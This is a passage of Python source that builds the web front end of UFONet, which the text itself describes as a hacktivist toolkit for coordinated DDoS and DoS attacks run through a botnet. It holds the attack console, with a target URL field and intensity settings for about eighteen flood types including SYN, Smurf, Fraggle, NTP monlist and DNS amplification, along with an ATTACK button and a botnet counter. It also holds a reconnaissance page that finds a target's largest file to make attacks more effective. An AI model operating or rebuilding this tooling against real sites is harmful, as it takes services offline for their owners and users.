  3229. String.prototype.startsWith = function(prefix){
  3230. return this.indexOf(prefix) === 0;
  3231. }
  3232. if(target.startsWith("http")){
  3233. path=document.getElementById("path").value
  3234. rounds=document.getElementById("rounds").value
  3235. dbstress=document.getElementById("dbstress").value
  3236. loic=document.getElementById("loic").value
  3237. loris=document.getElementById("loris").value
  3238. ufosyn=document.getElementById("ufosyn").value
  3239. spray=document.getElementById("spray").value
  3240. smurf=document.getElementById("smurf").value
  3241. xmas=document.getElementById("xmas").value
  3242. nuke=document.getElementById("nuke").value
  3243. tachyon=document.getElementById("tachyon").value
  3244. monlist=document.getElementById("monlist").value
  3245. fraggle=document.getElementById("fraggle").value
  3246. sniper=document.getElementById("sniper").value
  3247. ufoack=document.getElementById("ufoack").value
  3248. uforst=document.getElementById("uforst").value
  3249. droper=document.getElementById("droper").value
  3250. overlap=document.getElementById("overlap").value
  3251. pinger=document.getElementById("pinger").value
  3252. ufoudp=document.getElementById("ufoudp").value
  3253. if(ufosyn || spray || smurf || xmas || nuke || tachyon || monlist || fraggle || sniper || ufoack || uforst || droper || overlap || pinger || ufoudp){ // root required!
  3254. window.alert("You need 'root' access!. Check shell and enter your password.");
  3255. }
  3256. params="path="+escape(path)+"&rounds="+escape(rounds)+"&target="+escape(target)+"&dbstress="+escape(dbstress)+"&loic="+escape(loic)+"&loris="+escape(loris)+"&ufosyn="+escape(ufosyn)+"&spray="+escape(spray)+"&smurf="+escape(smurf)+"&xmas="+escape(xmas)+"&nuke="+escape(nuke)+"&tachyon="+escape(tachyon)+"&monlist="+escape(monlist)+"&fraggle="+escape(fraggle)+"&sniper="+escape(sniper)+"&ufoack="+escape(ufoack)+"&uforst="+escape(uforst)+"&droper="+escape(droper)+"&overlap="+escape(overlap)+"&pinger="+escape(pinger)+"&ufoudp="+escape(ufoudp)
  3257. if (document.getElementById("visual_attack").checked){
  3258. document.getElementById("visual_attack").value = "on";
  3259. } else {
  3260. document.getElementById("visual_attack").value = "off";
  3261. }
  3262. if(document.getElementById("visual_attack").value=="on"){
  3263. Maps()
  3264. }
  3265. }else{
  3266. window.alert("You need to enter a valid url: http(s)://target.com");
  3267. return
  3268. }
  3269. runCommandX("cmd_attack",params)
  3270. }
  3271. </script>
  3272. </head>
  3273. <body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  3274. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  3275. <center>
  3276. <table cellpadding="38" cellspacing="38">
  3277. <tr>
  3278. <td>
  3279. <div class="ringMenu">
  3280. <ul>
  3281. <li class="main"><a href="attack">Attack</a></li>
  3282. <li class="top"><a href="globalnet">Globalnet</a></li>
  3283. <li class="right"><a href="botnet">Botnet</a></li>
  3284. <li class="bottom"><a href="explore">Explore</a></li>
  3285. <li class="left"><a href="gui">RETURN</a></li>
  3286. </ul>
  3287. </div>
  3288. </td>
  3289. <td>
  3290. <table bgcolor="black" cellpadding="24" cellspacing="25" border="1">
  3291. <tr><td>
  3292. <pre>
  3293. Set your target: <input type="text" name="target" id="target" size="30" placeholder="http(s)://" required pattern="https?://.+">
  3294. Set place to attack: <input type="text" name="path" id="path" size="30" placeholder="/path/big.jpg">
  3295. Number of rounds: <input type="text" name="rounds" id="rounds" size="5" value="1">
  3296. <hr>
  3297. <button title="Configure how you will perform requests (proxy, HTTP headers, etc)..." onclick="Requests()">Configure requests</button> | <input type="checkbox" name="visual_attack" id="visual_attack"> Generate map! | <input type="checkbox" name="extra_attack" id="extra_attack" onclick='javascript:ShowPanel();'> Extra(s)
  3298. <hr><div id="extra_panel" style="display:none;">
  3299. <table bgcolor="black" cellpadding="4" cellspacing="5" border="1"><tr>
  3300. <td align="left"><a href="https://en.wikipedia.org/wiki/Low_Orbit_Ion_Cannon" target="_blank">LOIC</a>:</td><td align="right"> <input type="text" name="loic" id="loic" size="4" placeholder="100"></td>
  3301. <td align="left"><a href="https://en.wikipedia.org/wiki/Slowloris_(software)" target="_blank">LORIS</a>:</td><td align="right"> <input type="text" name="loris" id="loris" size="4" placeholder="101"></td>
  3302. <td align="left"><a href="https://en.wikipedia.org/wiki/SYN_flood" target="_blank">UFOSYN</a>:</td><td align="right"> <input type="text" name="ufosyn" id="ufosyn" size="4" placeholder="100"></td>
  3303. <td align="left"><a href="https://en.wikipedia.org/wiki/Fraggle_attack" target="_blank">FRAGGLE</a>:</td><td align="right"> <input type="text" name="fraggle" id="fraggle" size="4" placeholder="101"></td>
  3304. </tr><tr>
  3305. <td align="left"><a href="https://ddos-guard.net/en/terminology/attack_type/rst-or-fin-flood" target="_blank">UFORST</a>:</td><td align="right"> <input type="text" name="uforst" id="uforst" size="4" placeholder="101"></td>
  3306. <td align="left"><a href="https://en.wikipedia.org/wiki/DRDOS" target="_blank">SPRAY</a>:</td><td align="right"> <input type="text" name="spray" id="spray" size="4" placeholder="110"></td>
  3307. <td align="left"><a href="https://en.wikipedia.org/wiki/Smurf_attack" target="_blank">SMURF</a>:</td><td align="right"> <input type="text" name="smurf" id="smurf" size="4" placeholder="100"></td>
  3308. <td align="left"><a href="https://en.wikipedia.org/wiki/Christmas_tree_packet" target="_blank">XMAS</a>:</td><td align="right"> <input type="text" name="xmas" id="xmas" size="4" placeholder="111"></td>
  3309. </tr><tr>
  3310. <td align="left"><a href="https://en.wikipedia.org/wiki/IP_fragmentation_attack" target="_blank">DROPER</a>:</td><td align="right"> <input type="text" name="droper" id="droper" size="4" placeholder="101"></td>
  3311. <td align="left"><a href="https://www.imperva.com/learn/application-security/snmp-reflection/" target="_blank">SNIPER</a>:</td><td align="right"> <input type="text" name="sniper" id="sniper" size="4" placeholder="100"></td>
  3312. <td align="left"><a href="https://www.us-cert.gov/ncas/alerts/TA13-088A" target="_blank">TACHYON</a>:</td><td align="right"> <input type="text" name="tachyon" id="tachyon" size="4" placeholder="100"></td>
  3313. <td align="left"><a href="https://www.cloudflare.com/learning/ddos/ping-icmp-flood-ddos-attack/" target="_blank">PINGER</a>:</td><td align="right"> <input type="text" name="pinger" id="pinger" size="4" placeholder="101"></td>
  3314. </tr><tr>
  3315. <td align="left"><a href="https://www.us-cert.gov/ncas/alerts/TA14-013A" target="_blank">MONLIST</a>:</td><td align="right"> <input type="text" name="monlist" id="monlist" size="4" placeholder="101"></td>
  3316. <td align="left"><a href="https://www.f5.com/services/resources/glossary/push-and-ack-flood" target="_blank">UFOACK</a>:</td><td align="right"> <input type="text" name="ufoack" id="ufoack" size="4" placeholder="100"></td>
  3317. <td align="left"><a href="https://cyberhoot.com/cybrary/fragment-overlap-attack/" target="_blank">OVERLAP</a>:</td><td align="right"> <input type="text" name="overlap" id="overlap" size="4" placeholder="100"></td>
  3318. <td align="left"><a href="https://en.wikipedia.org/wiki/UDP_flood_attack" target="_blank">UFOUDP</a>:</td><td align="right"> <input type="text" name="ufoudp" id="ufoudp" size="4" placeholder="101"></td>
  3319. </tr><tr>
  3320. <td align="left"><a href="https://dl.packetstormsecurity.net/papers/general/tcp-starvation.pdf" target="_blank">NUKE</a>:</td><td align="right"> <input type="text" name="nuke" id="nuke" size="4" placeholder="1001"></td>
  3321. </tr>
  3322. </table>
  3323. <hr>
  3324. Set db stress parameter: <input type="text" name="dbstress" id="dbstress" size="22" placeholder="search.php?q=">
  3325. <hr></div>
  3326. <button title="Start to attack your target..." onClick=Start() style="color:yellow; height:40px; width:240px; font-weight:bold; background-color:red; border: 2px solid yellow;" id="attack_button">ATTACK!</button> | Total Botnet = <b><a href='javascript:runCommandX("cmd_list_army")'><font size='5'>"""+ self.total_botnet +"""</font></a></b></pre>
  3327. </td></tr></table>
  3328. </td></tr></table>
  3329. <hr>
  3330. <div id="cmdOut"></div>
  3331. """ + self.pages["/footer"]
  3332. self.pages["/help"] = self.pages["/header"] + """<script language="javascript">
  3333. function show(one) {
  3334. var nb = document.getElementsByTagName("div");
  3335. for(var x=0; x<nb.length; x++) {
  3336. name = nb[x].getAttribute("class");
  3337. if (name == 'nb') {
  3338. if (nb[x].id == one) {
  3339. nb[x].style.display = 'block';
  3340. }
  3341. else {
  3342. nb[x].style.display = 'none';
  3343. }
  3344. }
  3345. }
  3346. }
  3347. function Games() {
  3348. var win_requests = window.open("games","_blank","fullscreen=yes, scrollbars=1, titlebar=no, toolbar=no, location=no, status=no, menubar=no, top=190, left=360, width=640, height=480, resizable=yes", false);
  3349. }
  3350. function Browser() {
  3351. var win_requests = window.open("browser","_blank","fullscreen=yes, scrollbars=1, titlebar=no, toolbar=no, location=no, status=no, menubar=no, top=190, left=360, width=640, height=480, resizable=yes", false);
  3352. }
  3353. </script>
  3354. <style>.container{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-align:center;-ms-flex-align:center;align-items:center;-webkit-box-pack:center;-ms-flex-pack:center;justify-content:center;}svg{max-width:8rem;}.masking{-webkit-transform: scale(0);transform:scale(0);-webkit-transform-origin:178px;transform-origin:178px;-webkit-animation: scale 3s linear infinite; animation: scale 3s linear infinite;}@-webkit-keyframes scale{80%{opacity: 1;}100%{-webkit-transform: scale(1);transform: scale(1);opacity: 0;}}@keyframes scale{80% {opacity: 1;}100%{-webkit-transform: scale(1);transform: scale(1);opacity: 0;}}</style>
  3355. </head>
  3356. <body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  3357. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  3358. <center>
  3359. <table cellpadding="38" cellspacing="38">
  3360. <tr>
  3361. <td>
  3362. <table cellpadding="24" cellspacing="25" border="1">
  3363. <tr>
  3364. <td>
  3365. <center>
  3366. <a href="javascript:alert('DAIALAFSÄ & LUÄRKS says: Hi! """ + self.ranking + """, The first steps are easy ... RTFM! ;-)');"><img src='data:image/png;base64,"""+self.aliens_img+"""'></a>
  3367. </center>
  3368. </td>
  3369. <td><pre>
  3370. <div><a id="mH1" href="javascript:show('nb1');" style="text-decoration: none;" >+ Project info</a></div>
  3371. <div class="nb" id="nb1" style="display: none;"> <b>UFONet</b> - Is a set of <a href="https://en.wikipedia.org/wiki/Hacktivism" target="_blank">hacktivist</a> tools that allow launching coordinated
  3372. <a href="https://en.wikipedia.org/wiki/Distributed_denial-of-service" target="_blank">DDoS</a> and <a href="https://en.wikipedia.org/wiki/Denial-of-service_attack" target="_blank">DoS</a> attacks and combine both in a single offensive.
  3373. It also works as an encrypted <a href="https://en.wikipedia.org/wiki/Darknet" target="_blank">DarkNET</a> to publish and receive
  3374. content by creating a global client/server network based on
  3375. a direct-connect <a href="https://en.wikipedia.org/wiki/Peer-to-peer" target="_blank">P2P</a> architecture.</div><div><a id="mH3" href="javascript:show('nb3');" style="text-decoration: none;" >+ F.A.Q.</a></div><div class="nb" id="nb3" style="display: none;">
  3376. - <a href="https://ufonet.03c8.net/FAQ.html" target="_blak">Online version</a> (updated!)
  3377. - <a href="/faq" target="_blank">Local version</a></div>
  3378. <div><a id="mH4" href="javascript:show('nb4');" style="text-decoration: none;" >+ Issues</a></div><div class="nb" id="nb4" style="display: none;">
  3379. If you have questions (or technical problems)
  3380. try to solve them following next link:
  3381. - <a href="https://github.com/epsylon/ufonet/issues" target="_blank">GitHub</a> issues</div>
  3382. <div><a id="mH5" href="javascript:show('nb5');" style="text-decoration: none;" >+ Support</a></div> <div class="nb" id="nb5" style="display: none;"> - Testing; use the tool and search for possible bugs and new ideas
  3383. - Coding; you can try to develop more features
  3384. - Promoting; talk about UFONet on the internet, events, <a href="https://en.wikipedia.org/wiki/Hacklab" target="_blank">hacklabs</a>, etc
  3385. - Donating; money, objects, privacy, exploits, <a href="https://en.wikipedia.org/wiki/Love" target="_blank">love</a> ;-)
  3386. - <a href="https://explorer.bitcoin.com/btc" target="_blank">Bitcoin [BTC]</a>: <b>19aXfJtoYJUoXEZtjNwsah2JKN9CK5Pcjw</b>
  3387. - <a href="https://ecoin.03c8.net/blockexplorer" target="_blank">Ecoin [ECO]</a>: <b>ETsRCBzaMawx3isvb5svX7tAukLdUFHKze</b></div> <div><a id="mH6" href="javascript:show('nb6');" style="text-decoration: none" >+ Contact</a></div> <div class="nb" id="nb6" style="display: none;"> - <a target="_blank" href="wormhole">Wormhole</a>: irc.freenode.net / #ufonet
  3388. - Email: <a href="mailto: epsylon@riseup.net">epsylon@riseup.net</a> [GPG:0xB8AC3776]
  3389. </div></td></tr>
  3390. <tr>
  3391. <td># TREEMAP: <a href="/treemap" target="_blank">VIEW</a> | SHIP.BROWSER: <a href="javascript:Browser()">OPEN</a> | SHIP.GAMES: <a href="javascript:Games()">PLAY!</a> #
  3392. </td></tr>
  3393. <tr>
  3394. <td><h2><u>Types of Attacks:</u></h2>
  3395. <table cellpadding="5" cellspacing="5" border="1"><tr>
  3396. <td><a href="https://hydrasky.com/network-security/layer-7-ddos-attack/" target="_blank">LAYER-7</a></td>
  3397. <td><a href="https://en.wikipedia.org/wiki/Low_Orbit_Ion_Cannon" target="_blank">LOIC</a></td>
  3398. <td><a href="https://en.wikipedia.org/wiki/Slowloris_(software)" target="_blank">LORIS</a></td>
  3399. <td><a href="https://en.wikipedia.org/wiki/SYN_flood" target="_blank">UFOSYN</a></td>
  3400. <td><a href="https://en.wikipedia.org/wiki/Fraggle_attack" target="_blank">FRAGGLE</a></td>
  3401. <td><a href="https://ddos-guard.net/en/terminology/attack_type/rst-or-fin-flood" target="_blank">UFORST</a></td>
  3402. <td><a href="https://en.wikipedia.org/wiki/DRDOS" target="_blank">SPRAY</a></td>
  3403. <td><a href="https://en.wikipedia.org/wiki/Smurf_attack" target="_blank">SMURF</a></td>
  3404. <td><a href="https://en.wikipedia.org/wiki/Christmas_tree_packet" target="_blank">XMAS</a></td></tr><tr>
  3405. <td><a href="https://en.wikipedia.org/wiki/IP_fragmentation_attack" target="_blank">DROPER</a></td>
  3406. <td><a href="https://www.imperva.com/learn/application-security/snmp-reflection/" target="_blank">SNIPER</a></td>
  3407. <td><a href="https://www.us-cert.gov/ncas/alerts/TA13-088A" target="_blank">TACHYON</a></td>
  3408. <td><a href="https://www.cloudflare.com/learning/ddos/ping-icmp-flood-ddos-attack/" target="_blank">PINGER</a></td>
  3409. <td><a href="https://www.us-cert.gov/ncas/alerts/TA14-013A" target="_blank">MONLIST</a></td>
  3410. <td><a href="https://www.f5.com/services/resources/glossary/push-and-ack-flood" target="_blank">UFOACK</a></td>
  3411. <td><a href="https://cyberhoot.com/cybrary/fragment-overlap-attack/" target="_blank">OVERLAP</a></td>
  3412. <td><a href="https://en.wikipedia.org/wiki/UDP_flood_attack" target="_blank">UFOUDP</a></td>
  3413. <td><a href="https://dl.packetstormsecurity.net/papers/general/tcp-starvation.pdf" target="_blank">NUKE</a></td>
  3414. </tr></table></td><tr>
  3415. <tr>
  3416. <td><h2><u>GUI-Modules:</u></h2>
  3417. <table cellpadding="15" cellspacing="15" border="1"><tr>
  3418. <td><a href="/news" target="_blank"><img src='data:image/png;base64,"""+self.alien1_img+"""'></a></td><td>Read NEWS from other motherships</td><td><a href="/news" target="_blank">SHIP.NEWS</a></td></tr><tr>
  3419. <td><a href="/missions" target="_blank"><img src='data:image/png;base64,"""+self.alien2_img+"""'></a></td><td>Read MISSIONS from other motherships</td><td><a href="/missions" target="_blank">SHIP.MISSIONS</a></td></tr><tr>
  3420. <td><a href="/tv" target="_blank"><img src='data:image/png;base64,"""+self.alien5_img+"""'></a></td><td>Watch TV/VIDEOS from other mothership</td><td><a href="/tv" target="_blank">SHIP.TV</a></td></tr><tr>
  3421. <td><a href="/links" target="_blank"><img src='data:image/png;base64,"""+self.alien10_img+"""'></a></td><td>Check LINKS from other motherships</td><td><a href="/links" target="_blank">GLOBAL.LINKS</a></td></tr><tr>
  3422. <td><a href="/streams" target="_blank"><img src='data:image/png;base64,"""+self.alien9_img+"""'></a></td><td>Watch STREAMS from other motherships</td><td><a href="/streams" target="_blank">GLOBAL.STREAMS</a></td></tr><tr>
  3423. <td><a href="/radar" target="_blank"><img src='data:image/png;base64,"""+self.alien11_img+"""'></a></td><td>Search for OTHER motherships</td><td><a href="/radar" target="_blank">GLOBAL.RADAR</a></td></tr><tr>
  3424. <td><a href="/blackholes" target="_blank"><img src='data:image/png;base64,"""+self.alien3_img+"""'></a></td><td>Search for BLACKHOLES from other motherships</td><td><a href="/blackholes" target="_blank">SHIP.WARPS</a></td></tr><tr>
  3425. <td><a href="/inspect" target="_blank"><img src='data:image/png;base64,"""+self.alien7_img+"""'></a></td><td>Research for INFORMATION about a target</td><td><a href="/inspect" target="_blank">SHIP.INSPECT</a><br><br><a href="/abduction" target="_blank">SHIP.ABDUCTION</a></td></tr><tr>
  3426. <td><a href="/board" target="_blank"><img src='data:image/png;base64,"""+self.alien4_img+"""'></a></td><td>Send/Receive MESSAGES from other motherships</td><td><a href="/board" target="_blank">GLOBAL.BOARD</a></td></tr><tr>
  3427. <td><a href="/grid" target="_blank"><img src='data:image/png;base64,"""+self.alien6_img+"""'></a></td><td>Review STATISTICS from other motherships</td><td><a href="/grid" target="_blank">GLOBAL.GRID</a></td></tr><tr>
  3428. <td><a href="/wargames" target="_blank"><img src='data:image/png;base64,"""+self.alien8_img+"""'></a></td><td>Join WARGAMES from other motherships</td><td><a href="/wargames" target="_blank">GLOBAL.WARGAMES</a></td></tr><tr>
  3429. <td><a href="/browser" target="_blank"><img src='data:image/png;base64,"""+self.alien13_img+"""'></a></td><td>Surf INTERNET from your mothership</td><td><a href="/browser" target="_blank">SHIP.BROWSER</a></td></tr><tr>
  3430. <td><a href="/games" target="_blank"><img src='data:image/png;base64,"""+self.alien12_img+"""'></a></td><td>Play GAMES from your mothership</td><td><a href="/games" target="_blank">SHIP.GAMES</a></td>
  3431. </tr></table>
  3432. </td></tr>
  3433. </table>
  3434. </td></tr></table>
  3435. """ + self.pages["/footer"]
  3436. self.pages["/faq"] = self.pages["/header"] + """<style>.container{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-align:center;-ms-flex-align:center;align-items:center;-webkit-box-pack:center;-ms-flex-pack:center;justify-content:center;}svg{max-width:8rem;}.masking{-webkit-transform: scale(0);transform:scale(0);-webkit-transform-origin:178px;transform-origin:178px;-webkit-animation: scale 3s linear infinite; animation: scale 3s linear infinite;}@-webkit-keyframes scale{80%{opacity: 1;}100%{-webkit-transform: scale(1);transform: scale(1);opacity: 0;}}@keyframes scale{80% {opacity: 1;}100%{-webkit-transform: scale(1);transform: scale(1);opacity: 0;}}</style>
  3437. </head>
  3438. <body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  3439. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  3440. <center>
  3441. <table cellpadding="38" cellspacing="38">
  3442. <tr>
  3443. <td>"""+self.faq_text+"""</td></tr>
  3444. </table>
  3445. """ + self.pages["/footer"]
  3446. self.pages["/globalnet"] = self.pages["/header"] + """<script language="javascript">
  3447. function Blackholes() {
  3448. var win_requests = window.open("blackholes","_blank","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  3449. }
  3450. function Radar() {
  3451. var win_requests = window.open("radar","_blank","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  3452. }
  3453. </script>
  3454. <style>.container{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-align:center;-ms-flex-align:center;align-items:center;-webkit-box-pack:center;-ms-flex-pack:center;justify-content:center;}svg{max-width:8rem;}.masking{-webkit-transform: scale(0);transform:scale(0);-webkit-transform-origin:178px;transform-origin:178px;-webkit-animation: scale 3s linear infinite; animation: scale 3s linear infinite;}@-webkit-keyframes scale{80%{opacity: 1;}100%{-webkit-transform: scale(1);transform: scale(1);opacity: 0;}}@keyframes scale{80% {opacity: 1;}100%{-webkit-transform: scale(1);transform: scale(1);opacity: 0;}}</style>
  3455. </head>
  3456. <body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  3457. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  3458. <center>
  3459. <table cellpadding="38" cellspacing="38">
  3460. <tr>
  3461. <td>
  3462. <div class="ringMenu">
  3463. <ul>
  3464. <li class="main"><a href="globalnet">Globalnet</a></li>
  3465. <li class="top"><a href="botnet">Botnet</a></li>
  3466. <li class="right"><a href="explore">Explore</a></li>
  3467. <li class="bottom"><a href="attack">Attack</a></li>
  3468. <li class="left"><a href="gui">RETURN</a></li>
  3469. </ul>
  3470. </div>
  3471. </td>
  3472. <td>
  3473. <table cellpadding="24" cellspacing="25" border="1">
  3474. <tr>
  3475. <td><a href="javascript:alert('Senator M.BIRDY says: Welcome ..., """ + self.ranking + """,... These are other visible motherships detected by our technology that are currently working for the Federation... You can contribute by uploading your location... Remember, to be a strong network always depends on you!');"><img src='data:image/png;base64,"""+self.alien11_img+"""'></a></td>
  3476. <td>
  3477. <ul>
  3478. <li><a href="javascript:Radar()">GLOBAL.RADAR</a>: Search for <u>other visible motherships</u></li>
  3479. </ul>
  3480. </td>
  3481. </tr>
  3482. <tr>
  3483. <td><a href="javascript:alert('Dhïkta says: """ + self.ranking + """... I can open warps directly to blackholes created by other motherships. This is nice to share and increase your legion on a crypto-distributed (P2P) way...');"><img src='data:image/png;base64,"""+self.alien3_img+"""'></a></td>
  3484. <td>
  3485. <ul>
  3486. <li><a href="javascript:Blackholes()">SHIP.WARPS</a>: Search for <u>blackholes shared by other motherships</u></li>
  3487. </ul>
  3488. </td>
  3489. </tr>
  3490. </table> </td></tr></table>
  3491. """ + self.pages["/footer"]
  3492. self.pages["/explore"] = self.pages["/header"] + """<script language="javascript">
  3493. function Abduction() {
  3494. var win_requests = window.open("abduction","_blank","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  3495. }
  3496. function Inspect() {
  3497. var win_requests = window.open("inspect","_blank","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  3498. }
  3499. </script>
  3500. <style>.container{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-align:center;-ms-flex-align:center;align-items:center;-webkit-box-pack:center;-ms-flex-pack:center;justify-content:center;}svg{max-width:8rem;}.masking{-webkit-transform: scale(0);transform:scale(0);-webkit-transform-origin:178px;transform-origin:178px;-webkit-animation: scale 3s linear infinite; animation: scale 3s linear infinite;}@-webkit-keyframes scale{80%{opacity: 1;}100%{-webkit-transform: scale(1);transform: scale(1);opacity: 0;}}@keyframes scale{80% {opacity: 1;}100%{-webkit-transform: scale(1);transform: scale(1);opacity: 0;}}</style>
  3501. </head>
  3502. <body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  3503. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  3504. <center>
  3505. <table cellpadding="38" cellspacing="38">
  3506. <tr>
  3507. <td>
  3508. <div class="ringMenu">
  3509. <ul>
  3510. <li class="main"><a href="explore"">Explore</a></li>
  3511. <li class="top"><a href="botnet">Botnet</a></li>
  3512. <li class="right"><a href="globalnet">Globalnet</a></li>
  3513. <li class="bottom"><a href="attack">Attack</a></li>
  3514. <li class="left"><a href="gui">RETURN</a></li>
  3515. </ul>
  3516. </div>
  3517. </td>
  3518. <td>
  3519. <table cellpadding="24" cellspacing="25" border="1">
  3520. <tr>
  3521. <td><a href="javascript:alert('Ofgöfeejh says: """ + self.ranking + """... Lets research about our enemies first, right?...');"><img src='data:image/png;base64,"""+self.alien7_img+"""'></a></td>
  3522. <td>
  3523. <ul>
  3524. <li><a href="javascript:Inspect()">SHIP.INSPECT</a>: Search for <u>biggest file on target</u></li><br>
  3525. <li><a href="javascript:Abduction()">SHIP.ABDUCTION</a>: Research for <u>information about target's web server</u></li>
  3526. </ul>
  3527. </td>
  3528. </tr>
  3529. </table> </td></tr></table>
  3530. """ + self.pages["/footer"]
  3531. self.pages["/author"] = self.pages["/header"] + """<style>.container{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-align:center;-ms-flex-align:center;align-items:center;-webkit-box-pack:center;-ms-flex-pack:center;justify-content:center;}svg{max-width:8rem;}.masking{-webkit-transform: scale(0);transform:scale(0);-webkit-transform-origin:178px;transform-origin:178px;-webkit-animation: scale 3s linear infinite; animation: scale 3s linear infinite;}@-webkit-keyframes scale{80%{opacity: 1;}100%{-webkit-transform: scale(1);transform: scale(1);opacity: 0;}}@keyframes scale{80% {opacity: 1;}100%{-webkit-transform: scale(1);transform: scale(1);opacity: 0;}}</style>
  3532. </head>
  3533. <body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  3534. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  3535. <center>
  3536. <table cellpadding="38" cellspacing="38">
  3537. <tr>
  3538. <td>
  3539. <table cellpadding="24" cellspacing="25" border="1">
  3540. <tr>
  3541. <td><pre>"""+self.author_text+"""</pre></td>
  3542. </tr>
  3543. </table>
  3544. </td></tr></table>
  3545. """ + self.pages["/footer"]
  3546. self.pages["/treemap"] = self.pages["/header"] + """<style>.container{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-align:center;-ms-flex-align:center;align-items:center;-webkit-box-pack:center;-ms-flex-pack:center;justify-content:center;}svg{max-width:8rem;}.masking{-webkit-transform: scale(0);transform:scale(0);-webkit-transform-origin:178px;transform-origin:178px;-webkit-animation: scale 3s linear infinite; animation: scale 3s linear infinite;}@-webkit-keyframes scale{80%{opacity: 1;}100%{-webkit-transform: scale(1);transform: scale(1);opacity: 0;}}@keyframes scale{80% {opacity: 1;}100%{-webkit-transform: scale(1);transform: scale(1);opacity: 0;}}</style>
  3547. </head>
  3548. <body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  3549. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  3550. <table cellpadding="38" cellspacing="38">
  3551. <tr>
  3552. <td>
  3553. <div>
  3554. <link type="text/css" href="js/treemap.css" rel="stylesheet" />
  3555. <script language="javascript" type="text/javascript" src="js/jit.js"></script>
  3556. <script language="javascript" type="text/javascript" src="js/treemap.js"></script>
  3557. <div id="infovis"></div>
  3558. </div>
  3559. </td></tr></table><center>
  3560. """ + self.pages["/footer"]
  3561. self.pages["/inspect"] = self.pages["/header"] + """<script language="javascript">
  3562. function Requests() {
  3563. var win_requests = window.open("requests","_blank","fullscreen=no, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  3564. }
  3565. function Start(){
  3566. target=document.getElementById("target").value
  3567. String.prototype.startsWith = function(prefix){
  3568. return this.indexOf(prefix) === 0;
  3569. }
  3570. if(target.startsWith("http")){
  3571. params="target="+escape(target)
  3572. }else{
  3573. window.alert("You need to enter a valid url: http(s)://target.com/page.html");
  3574. return
  3575. }
  3576. runCommandX("cmd_inspect",params)
  3577. }
  3578. </script>
  3579. </head>
  3580. <body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  3581. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  3582. <center>
  3583. <table cellpadding="38" cellspacing="38">
  3584. <tr>
  3585. <td>
  3586. </td>
  3587. <td>
  3588. <table bgcolor="black" cellpadding="24" cellspacing="25" border="1">
  3589. <tr>
  3590. <td>
  3591. <pre>
  3592. This feature will provide you the biggest file on target.
  3593. You can use this before to attack to be more effective.
  3594. <button title="Configure how you will perform requests (proxy, HTTP headers, etc)..." onclick="Requests()">Configure requests</button>
  3595. <hr>
  3596. Set page to crawl: <input type="text" name="target" id="target" size="30" placeholder="http(s)://target.com/list_videos.php">
  3597. <hr>
  3598. <button title="Start to search for biggest file on your target..." onClick=Start() style="color:yellow; height:40px; width:240px; font-weight:bold; background-color:red; border: 2px solid yellow;">INSPECT!</button></pre>
  3599. </td></tr></table>
  3600. <br><br><hr><br>
  3601. <div id="cmdOut"></div><center>""" + self.pages["/footer"]
  3602. self.pages["/ranking"] = self.pages["/header"] + """<script language="javascript">
  3603. function Grid() {
  3604. var win_grid = window.open("grid","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  3605. }
  3606. function Stats() {
